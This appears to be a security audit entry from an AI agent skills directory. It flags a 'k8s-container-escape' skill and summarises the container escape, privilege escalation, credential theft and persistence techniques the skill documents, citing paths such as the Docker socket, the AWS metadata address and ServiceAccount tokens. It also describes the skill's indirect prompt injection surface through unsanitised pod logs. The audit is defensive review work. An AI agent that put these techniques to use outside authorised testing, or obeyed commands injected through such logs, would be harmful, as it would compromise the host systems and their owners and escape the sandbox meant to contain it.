The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides numerous shell commands for interacting with internal system APIs and the host operating system.
Evidence includes commands for environment recognition (e.g., cat /proc/1/cgroup), interacting with the Docker Socket (e.g., curl -s --unix-socket /var/run/docker.sock), and querying Kubelet/API Server endpoints.
Complex command chains for cgroup release_agent exploitation and kernel vulnerability triggers are documented in references/escape-techniques.md.
[PRIVILEGE_ESCALATION]: The skill documents multiple paths to escalate privileges from a container to host root access.
Instructions for mounting host device filesystems (e.g., mount /dev/sda1 /tmp/hostroot) and using chroot to gain host access are provided in SKILL.md.
Techniques for using nsenter to escape to host namespaces (PID, Mount, Net) are detailed in references/escape-techniques.md.
Documented methods for exploiting RBAC permissions to create privileged pods or simulate high-privilege accounts (e.g., system:masters).
[DATA_EXFILTRATION]: The skill includes methods for accessing and extracting sensitive credentials and system files.
Instructions for stealing ServiceAccount tokens from /var/run/secrets/kubernetes.io/serviceaccount/token.
Commands for accessing cloud metadata services (e.g., AWS IMDS at 169.254.169.254) to retrieve IAM role credentials.
Techniques for reading sensitive host files like /etc/shadow by hijacking pod log symlinks or direct filesystem mounting.
[PERSISTENCE]: The skill describes techniques for maintaining long-term access within a compromised cluster.
Documentation in references/escape-techniques.md on creating Static Pods by placing configuration files in /etc/kubernetes/manifests/, which are automatically maintained by the Kubelet.
Instructions for tampering with the aws-auth ConfigMap in EKS to grant persistent cluster-admin access to external IAM roles.
[EXTERNAL_DOWNLOADS]: The skill references external exploit code and security tools.
A reference to a Proof-of-Concept for CVE-2019-5736 (runc escape) hosted on GitHub is provided in references/escape-techniques.md.
Mentions of third-party security tools like CDK, PEIRATES, and kubeletctl for automated exploitation.
[INDIRECT_PROMPT_INJECTION]: The skill presents a surface for indirect prompt injection through the processing of untrusted data.
Ingestion points: The agent is instructed to read external data such as Pod logs (kubectl logs) and various K8s API responses in references/cluster-attacks.md and references/rbac-and-api-abuse.md.
Boundary markers: There are no explicit boundary markers or instructions to the agent to disregard potential commands embedded within the logs or API data it processes.
Capability inventory: The skill provides access to powerful tools like kubectl, curl, and host-level execution capabilities (nsenter, mount).
Sanitization: No evidence of data sanitization or validation is present before the agent processes or acts upon external information.

k8s-container-escape